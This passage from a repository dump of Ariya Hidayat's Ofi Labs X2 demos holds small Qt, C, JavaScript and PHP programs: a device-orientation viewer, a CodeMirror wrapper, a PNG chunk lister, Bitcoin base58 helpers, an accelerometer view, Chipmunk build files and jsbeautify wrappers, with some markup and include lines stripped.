23 | label: 'Beta',
24 | id: 'Beta',
25 | disabled: true,
26 | minValue: -90,
27 | maxValue: 90
28 | }, {
29 | xtype: 'sliderfield',
30 | label: 'Gamma',
31 | id: 'Gamma',
32 | disabled: true,
33 | minValue: -180,
34 | maxValue: 180
35 | }]
36 | }]
37 | }]
38 | });
39 |
40 | this.ui.doComponentLayout();
41 |
42 | if (!('ondeviceorientation' in window)) {
43 | setTimeout(function() {
44 | Ext.Msg.alert('Not available', 'Your browser do not support device orientation.');
45 | }, 200);
46 | } else {
47 | var orientation;
48 |
49 | window.ondeviceorientation = function(e) {
50 | orientation = {
51 | alpha: e.alpha,
52 | beta: e.beta,
53 | gamma: e.gamma
54 | };
55 | };
56 |
57 | window.setInterval(function() {
58 | Ext.getCmp('Alpha').setValue(Math.round(orientation.alpha), 200);
59 | Ext.getCmp('Beta').setValue(Math.round(orientation.beta), 200);
60 | Ext.getCmp('Gamma').setValue(Math.round(orientation.gamma), 200);
61 | }, 200);
62 | }
63 | }
64 | });
65 |
--------------------------------------------------------------------------------
/ofi-labs-x2/webkit/codemirror/codemirror.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | This file is part of the Ofi Labs X2 project.
3 |
4 | Copyright (C) 2011 Ariya Hidayat
5 |
6 | This program is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU General Public License as
8 | published by the Free Software Foundation; either version 2 of
9 | the License, or (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | */
19 |
20 | #include "codemirror.h"
21 |
22 | #include
23 |
24 | CodeMirror::CodeMirror(QWidget *parent)
25 | : QWebView(parent)
26 | {
27 | settings()->setFontFamily(QWebSettings::FixedFont, "Monaco, Monospace");
28 |
29 | load(QUrl("qrc:/index.html"));
30 | changeTheme("default");
31 |
32 | m_external = new External(this);
33 | page()->mainFrame()->addToJavaScriptWindowObject("External", m_external);
34 | }
35 |
36 | QString CodeMirror::text() const
37 | {
38 | return page()->mainFrame()->evaluateJavaScript("editor.getValue()").toString();
39 | }
40 |
41 | void CodeMirror::setText(const QString &text)
42 | {
43 | m_external->text = text;
44 | page()->mainFrame()->evaluateJavaScript("editor.setValue(External.data)");
45 | }
46 |
47 | void CodeMirror::changeTheme(const QString &theme)
48 | {
49 | QWebFrame *frame = page()->mainFrame();
50 | frame->evaluateJavaScript(QString("editor.setOption('theme', '%1')").arg(theme));
51 | frame->evaluateJavaScript(QString("document.body.className = 'cm-s-%1'").arg(theme));
52 | }
53 |
54 | void CodeMirror::undo()
55 | {
56 | page()->mainFrame()->evaluateJavaScript("editor.undo()");
57 | }
58 |
59 | void CodeMirror::redo()
60 | {
61 | page()->mainFrame()->evaluateJavaScript("editor.redo()");
62 | }
63 |
64 | void CodeMirror::cut()
65 | {
66 | page()->triggerAction(QWebPage::Cut);
67 | }
68 |
69 | void CodeMirror::copy()
70 | {
71 | page()->triggerAction(QWebPage::Copy);
72 | }
73 |
74 | void CodeMirror::paste()
75 | {
76 | page()->triggerAction(QWebPage::Paste);
77 | }
78 |
79 |
--------------------------------------------------------------------------------
/ofi-labs-x2/graphics/pngchunks/pngchunks.c:
--------------------------------------------------------------------------------
1 | /*
2 | This file is part of the Ofi Labs X2 project.
3 |
4 | Copyright (C) 2010 Ariya Hidayat
5 |
6 | This program is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU General Public License as
8 | published by the Free Software Foundation; either version 2 of
9 | the License, or (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | */
19 |
20 | #include
21 |
22 | int main(int argc, char **argv)
23 | {
24 | const char *fname;
25 | FILE *f;
26 | unsigned char buf[9];
27 | unsigned char magic[] = { 137, 80, 78, 71, 13, 10, 26, 10 };
28 | int total, i;
29 |
30 | if (argc != 2) {
31 | printf("Usage: pngchunks image.png\n\n");
32 | return -1;
33 | }
34 |
35 | fname = argv[1];
36 | f = fopen(fname, "rb");
37 | if (!f) {
38 | printf("Error: can't open file %s!\n", fname);
39 | return -1;
40 | }
41 |
42 | fread(buf, 1, 8, f);
43 | for (i = 0; i < 8; ++i) {
44 | if (buf[i] != magic[i]) {
45 | printf("Not a PNG file!\n");
46 | fclose(f);
47 | return -1;
48 | }
49 | }
50 |
51 | fseek(f, 0, SEEK_END);
52 | total = ftell(f);
53 | printf("File size: %d byte(s)\n", total);
54 | rewind(f);
55 | fseek(f, 8, SEEK_SET);
56 |
57 | printf("\n");
58 | printf("Offset Chunk Size\n");
59 |
60 | while (1) {
61 | int ofs, length;
62 | ofs = ftell(f);
63 | if (ofs >= total)
64 | break;
65 | fread(buf, 1, 8, f);
66 | buf[8] = '\0';
67 | length = buf[3] + (buf[2] << 8) + (buf[1] << 16) + (buf[0] << 24);
68 | printf("%7d %s %5d\n", ofs, buf + 4, length);
69 | if (length < 0)
70 | printf("%d %d %d %d\n", buf[0], buf[1], buf[2], buf[3]);
71 | fseek(f, length, SEEK_CUR);
72 | fread(buf, 1, 4, f); /* CRC */
73 | }
74 |
75 | fclose(f);
76 |
77 | return 0;
78 | }
79 |
--------------------------------------------------------------------------------
/php/bitcoin.php:
--------------------------------------------------------------------------------
1 | $version, 'hash' => bin2hex(substr($btc, 1, 20)));
32 | }
33 |
34 | function base58_encode($string) {
35 | $table = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
36 |
37 | $long_value = gmp_init(bin2hex($string), 16);
38 |
39 | $result = '';
40 | while(gmp_cmp($long_value, 58) > 0) {
41 | list($long_value, $mod) = gmp_div_qr($long_value, 58);
42 | $result .= $table[gmp_intval($mod)];
43 | }
44 | $result .= $table[gmp_intval($long_value)];
45 |
46 | for($nPad = 0; $string[$nPad] == "\0"; ++$nPad);
47 |
48 | return str_repeat($table[0], $nPad).strrev($result);
49 | }
50 |
51 | function base58_decode($string) {
52 | $table = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
53 | static $table_rev = null;
54 | if (is_null($table_rev)) {
55 | $table_rev = array();
56 | for($i=0;$i<58;++$i) $table_rev[$table[$i]]=$i;
57 | }
58 |
59 | $l = strlen($string);
60 | $long_value = gmp_init('0');
61 | for($i=0;$i<$l;++$i) {
62 | $c=$string[$l-$i-1];
63 | $long_value = gmp_add($long_value, gmp_mul($table_rev[$c], gmp_pow(58, $i)));
64 | }
65 |
66 | // php is lacking binary output for gmp
67 | $res = pack('H*', gmp_strval($long_value, 16));
68 |
69 | for($nPad = 0; $string[$nPad] == $table[0]; ++$nPad);
70 | return str_repeat("\0", $nPad).$res;
71 | }
72 |
--------------------------------------------------------------------------------
/ofi-labs-x2/sensor/accelview/accelview.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | This file is part of the OfiLabs X2 project.
3 |
4 | Copyright (C) 2010 Ariya Hidayat
5 |
6 | This program is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU General Public License as
8 | published by the Free Software Foundation; either version 2 of
9 | the License, or (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | */
19 |
20 | #include
21 | #include
22 |
23 | void getAcceleration(qreal &x, qreal &y, qreal &z)
24 | {
25 | #ifdef Q_WS_MAEMO_5
26 | QDBusConnection connection(QDBusConnection::systemBus());
27 | if (connection.isConnected()) {
28 | QDBusInterface interface("com.nokia.mce", "/com/nokia/icd", QString(), connection);
29 | QDBusPendingReply reply;
30 | reply = interface.asyncCall("get_device_orientation");
31 | reply.waitForFinished();
32 | x = static_cast(reply.argumentAt<3>()) / 1000;
33 | y = static_cast(reply.argumentAt<4>()) / 1000;
34 | z = static_cast(reply.argumentAt<5>()) / 1000;
35 | }
36 | #endif
37 | }
38 |
39 | #include "ui_display.h"
40 |
41 | class AccelView: public QWidget
42 | {
43 | public:
44 | AccelView(QWidget *parent = 0): QWidget(parent) {
45 | form.setupUi(this);
46 | timer.start(100, this);
47 | }
48 |
49 | protected:
50 | void timerEvent(QTimerEvent*) {
51 | qreal xa = 0;
52 | qreal ya = -0.2;
53 | qreal za = 0;
54 | getAcceleration(xa, ya, za);
55 | int x = xa * 1000;
56 | int y = ya * 1000;
57 | int z = za * 1000;
58 | form.xSlider->setValue(x);
59 | form.ySlider->setValue(y);
60 | form.zSlider->setValue(z);
61 | form.xValue->setText(QString::number(x));
62 | form.yValue->setText(QString::number(y));
63 | form.zValue->setText(QString::number(z));
64 | }
65 |
66 | private:
67 | Ui::Form form;
68 | QBasicTimer timer;
69 | };
70 |
71 | int main(int argc, char **argv)
72 | {
73 | QApplication app(argc, argv);
74 |
75 | AccelView w;
76 | w.show();
77 |
78 | return app.exec();
79 | }
80 |
--------------------------------------------------------------------------------
/ofi-labs-x2/demo/marblebox/chipmunk.pri:
--------------------------------------------------------------------------------
1 | CONFIG(release): QMAKE_CFLAGS += -DNDEBUG
2 |
3 | INCLUDEPATH += $$PWD/chipmunk/include/chipmunk
4 |
5 | QMAKE_CFLAGS += -std=c99
6 |
7 | HEADERS += chipmunk/include/chipmunk/constraints/util.h \
8 | chipmunk/include/chipmunk/constraints/cpSlideJoint.h \
9 | chipmunk/include/chipmunk/constraints/cpSimpleMotor.h \
10 | chipmunk/include/chipmunk/constraints/cpRotaryLimitJoint.h \
11 | chipmunk/include/chipmunk/constraints/cpRatchetJoint.h \
12 | chipmunk/include/chipmunk/constraints/cpPivotJoint.h \
13 | chipmunk/include/chipmunk/constraints/cpPinJoint.h \
14 | chipmunk/include/chipmunk/constraints/cpGrooveJoint.h \
15 | chipmunk/include/chipmunk/constraints/cpGearJoint.h \
16 | chipmunk/include/chipmunk/constraints/cpDampedSpring.h \
17 | chipmunk/include/chipmunk/constraints/cpDampedRotarySpring.h \
18 | chipmunk/include/chipmunk/constraints/cpConstraint.h \
19 | chipmunk/include/chipmunk/cpVect.h \
20 | chipmunk/include/chipmunk/cpSpaceHash.h \
21 | chipmunk/include/chipmunk/cpSpace.h \
22 | chipmunk/include/chipmunk/cpShape.h \
23 | chipmunk/include/chipmunk/cpPolyShape.h \
24 | chipmunk/include/chipmunk/cpHashSet.h \
25 | chipmunk/include/chipmunk/cpCollision.h \
26 | chipmunk/include/chipmunk/cpBody.h \
27 | chipmunk/include/chipmunk/cpBB.h \
28 | chipmunk/include/chipmunk/cpArray.h \
29 | chipmunk/include/chipmunk/cpArbiter.h \
30 | chipmunk/include/chipmunk/chipmunk.h \
31 | chipmunk/include/chipmunk/chipmunk_unsafe.h \
32 | chipmunk/include/chipmunk/chipmunk_types.h \
33 | chipmunk/include/chipmunk/chipmunk_ffi.h \
34 | chipmunk/src/prime.h
35 |
36 | SOURCES += chipmunk/src/constraints/cpSlideJoint.c \
37 | chipmunk/src/constraints/cpSimpleMotor.c \
38 | chipmunk/src/constraints/cpRotaryLimitJoint.c \
39 | chipmunk/src/constraints/cpRatchetJoint.c \
40 | chipmunk/src/constraints/cpPivotJoint.c \
41 | chipmunk/src/constraints/cpPinJoint.c \
42 | chipmunk/src/constraints/cpGrooveJoint.c \
43 | chipmunk/src/constraints/cpGearJoint.c \
44 | chipmunk/src/constraints/cpDampedSpring.c \
45 | chipmunk/src/constraints/cpDampedRotarySpring.c \
46 | chipmunk/src/constraints/cpConstraint.c \
47 | chipmunk/src/cpVect.c \
48 | chipmunk/src/cpSpaceHash.c \
49 | chipmunk/src/cpSpace.c \
50 | chipmunk/src/cpShape.c \
51 | chipmunk/src/cpPolyShape.c \
52 | chipmunk/src/cpHashSet.c \
53 | chipmunk/src/cpCollision.c \
54 | chipmunk/src/cpBody.c \
55 | chipmunk/src/cpBB.c \
56 | chipmunk/src/cpArray.c \
57 | chipmunk/src/cpArbiter.c \
58 | chipmunk/src/chipmunk.c
59 |
60 |
--------------------------------------------------------------------------------
/ofi-labs-x2/demo/marblenet/chipmunk.pri:
--------------------------------------------------------------------------------
1 | CONFIG(release): QMAKE_CFLAGS += -DNDEBUG
2 |
3 | INCLUDEPATH += $$PWD/chipmunk/include/chipmunk
4 |
5 | QMAKE_CFLAGS += -std=c99
6 |
7 | HEADERS += chipmunk/include/chipmunk/constraints/util.h \
8 | chipmunk/include/chipmunk/constraints/cpSlideJoint.h \
9 | chipmunk/include/chipmunk/constraints/cpSimpleMotor.h \
10 | chipmunk/include/chipmunk/constraints/cpRotaryLimitJoint.h \
11 | chipmunk/include/chipmunk/constraints/cpRatchetJoint.h \
12 | chipmunk/include/chipmunk/constraints/cpPivotJoint.h \
13 | chipmunk/include/chipmunk/constraints/cpPinJoint.h \
14 | chipmunk/include/chipmunk/constraints/cpGrooveJoint.h \
15 | chipmunk/include/chipmunk/constraints/cpGearJoint.h \
16 | chipmunk/include/chipmunk/constraints/cpDampedSpring.h \
17 | chipmunk/include/chipmunk/constraints/cpDampedRotarySpring.h \
18 | chipmunk/include/chipmunk/constraints/cpConstraint.h \
19 | chipmunk/include/chipmunk/cpVect.h \
20 | chipmunk/include/chipmunk/cpSpaceHash.h \
21 | chipmunk/include/chipmunk/cpSpace.h \
22 | chipmunk/include/chipmunk/cpShape.h \
23 | chipmunk/include/chipmunk/cpPolyShape.h \
24 | chipmunk/include/chipmunk/cpHashSet.h \
25 | chipmunk/include/chipmunk/cpCollision.h \
26 | chipmunk/include/chipmunk/cpBody.h \
27 | chipmunk/include/chipmunk/cpBB.h \
28 | chipmunk/include/chipmunk/cpArray.h \
29 | chipmunk/include/chipmunk/cpArbiter.h \
30 | chipmunk/include/chipmunk/chipmunk.h \
31 | chipmunk/include/chipmunk/chipmunk_unsafe.h \
32 | chipmunk/include/chipmunk/chipmunk_types.h \
33 | chipmunk/include/chipmunk/chipmunk_ffi.h \
34 | chipmunk/src/prime.h
35 |
36 | SOURCES += chipmunk/src/constraints/cpSlideJoint.c \
37 | chipmunk/src/constraints/cpSimpleMotor.c \
38 | chipmunk/src/constraints/cpRotaryLimitJoint.c \
39 | chipmunk/src/constraints/cpRatchetJoint.c \
40 | chipmunk/src/constraints/cpPivotJoint.c \
41 | chipmunk/src/constraints/cpPinJoint.c \
42 | chipmunk/src/constraints/cpGrooveJoint.c \
43 | chipmunk/src/constraints/cpGearJoint.c \
44 | chipmunk/src/constraints/cpDampedSpring.c \
45 | chipmunk/src/constraints/cpDampedRotarySpring.c \
46 | chipmunk/src/constraints/cpConstraint.c \
47 | chipmunk/src/cpVect.c \
48 | chipmunk/src/cpSpaceHash.c \
49 | chipmunk/src/cpSpace.c \
50 | chipmunk/src/cpShape.c \
51 | chipmunk/src/cpPolyShape.c \
52 | chipmunk/src/cpHashSet.c \
53 | chipmunk/src/cpCollision.c \
54 | chipmunk/src/cpBody.c \
55 | chipmunk/src/cpBB.c \
56 | chipmunk/src/cpArray.c \
57 | chipmunk/src/cpArbiter.c \
58 | chipmunk/src/chipmunk.c
59 |
60 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/crossfading/index.html:
--------------------------------------------------------------------------------
1 | Crossfading with Canvas
2 |
3 |
16 |
17 |
52 |
53 |
54 | Pixel Crossfading with HTML5 Canvas
55 | Loading... Please wait.
56 |
58 |
59 |
60 |
76 |
77 |
78 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/jsbeautify/jsbeautify.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | This file is part of the Ofi Labs X2 project.
3 |
4 | Copyright (C) 2010 Ariya Hidayat
5 |
6 | Based on http://jsbeautifier.org/
7 | Copyright (c) 2009 Einar Lielmanis
8 |
9 | Permission is hereby granted, free of charge, to any person
10 | obtaining a copy of this software and associated documentation
11 | files (the "Software"), to deal in the Software without
12 | restriction, including without limitation the rights to use,
13 | copy, modify, merge, publish, distribute, sublicense, and/or sell
14 | copies of the Software, and to permit persons to whom the
15 | Software is furnished to do so, subject to the following
16 | conditions:
17 |
18 | The above copyright notice and this permission notice shall be
19 | included in all copies or substantial portions of the Software.
20 |
21 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
22 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
23 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
24 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
25 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
26 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
27 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
28 | OTHER DEALINGS IN THE SOFTWARE.
29 | */
30 |
31 | #include
32 |
33 | #include
34 |
35 | static QString readFile(const QString &fileName)
36 | {
37 | QFile file;
38 | file.setFileName(fileName);
39 | if (!file.open(QFile::ReadOnly)) {
40 | std::cerr << "Can't open" << qPrintable(fileName) << std::endl;
41 | return QString();
42 | }
43 | QString content = file.readAll();
44 | file.close();
45 | return content;
46 | }
47 |
48 | int main(int argc, char **argv)
49 | {
50 | QCoreApplication app(argc, argv);
51 |
52 | if (argc < 2) {
53 | std::cout << "Usage:" << std::endl << std::endl;
54 | std::cout << " jsbeautify source-file" << std::endl << std::endl;
55 | return 0;
56 | }
57 |
58 | QString script = readFile(":/beautify.js");
59 | QString source = readFile(QString::fromLocal8Bit(argv[1]));
60 |
61 | if (!script.isEmpty() && !source.isEmpty()) {
62 | QScriptEngine engine;
63 | engine.evaluate(script);
64 | engine.globalObject().setProperty("source", QScriptValue(source));
65 | QScriptValue result = engine.evaluate("js_beautify(source);");
66 | std::cout << qPrintable(result.toString()) << std::endl;
67 | }
68 |
69 | return 0;
70 | }
71 |
72 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/jsbeautify8/jsbeautify.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | This file is part of the Ofi Labs X2 project.
3 |
4 | Copyright (C) 2010 Ariya Hidayat
5 |
6 | Based on http://jsbeautifier.org/
7 | Copyright (c) 2009 Einar Lielmanis
8 |
9 | Permission is hereby granted, free of charge, to any person
10 | obtaining a copy of this software and associated documentation
11 | files (the "Software"), to deal in the Software without
12 | restriction, including without limitation the rights to use,
13 | copy, modify, merge, publish, distribute, sublicense, and/or sell
14 | copies of the Software, and to permit persons to whom the
15 | Software is furnished to do so, subject to the following
16 | conditions:
17 |
18 | The above copyright notice and this permission notice shall be
19 | included in all copies or substantial portions of the Software.
20 |
21 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
22 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
23 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
24 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
25 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
26 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
27 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
28 | OTHER DEALINGS IN THE SOFTWARE.
29 | */
30 |
31 | #include
32 |
33 | #include "beautify.h"
34 |
35 | using namespace v8;
36 |
37 | int main(int argc, char* argv[])
38 | {
39 | if (argc < 2) {
40 | printf("Usage: jsbeautify filename\n\n");
41 | return 0;
42 | }
43 |
44 | FILE* f = fopen(argv[1], "rb");
45 | if (!f) {
46 | printf("Error: unable to open file %s\n", argv[1]);
47 | return 0;
48 | }
49 | fseek(f, 0, SEEK_END);
50 | int len = ftell(f);
51 | rewind(f);
52 | char* buf = new char[len + 1];
53 | fread(buf, 1, len, f);
54 | fclose(f);
55 |
56 | HandleScope handle_scope;
57 |
58 | Handle global = ObjectTemplate::New();
59 |
60 | global->Set("code", String::New(buf, len));
61 |
62 | Handle context = Context::New(NULL, global);
63 |
64 | Context::Scope context_scope(context);
65 |
66 | Handle
87 |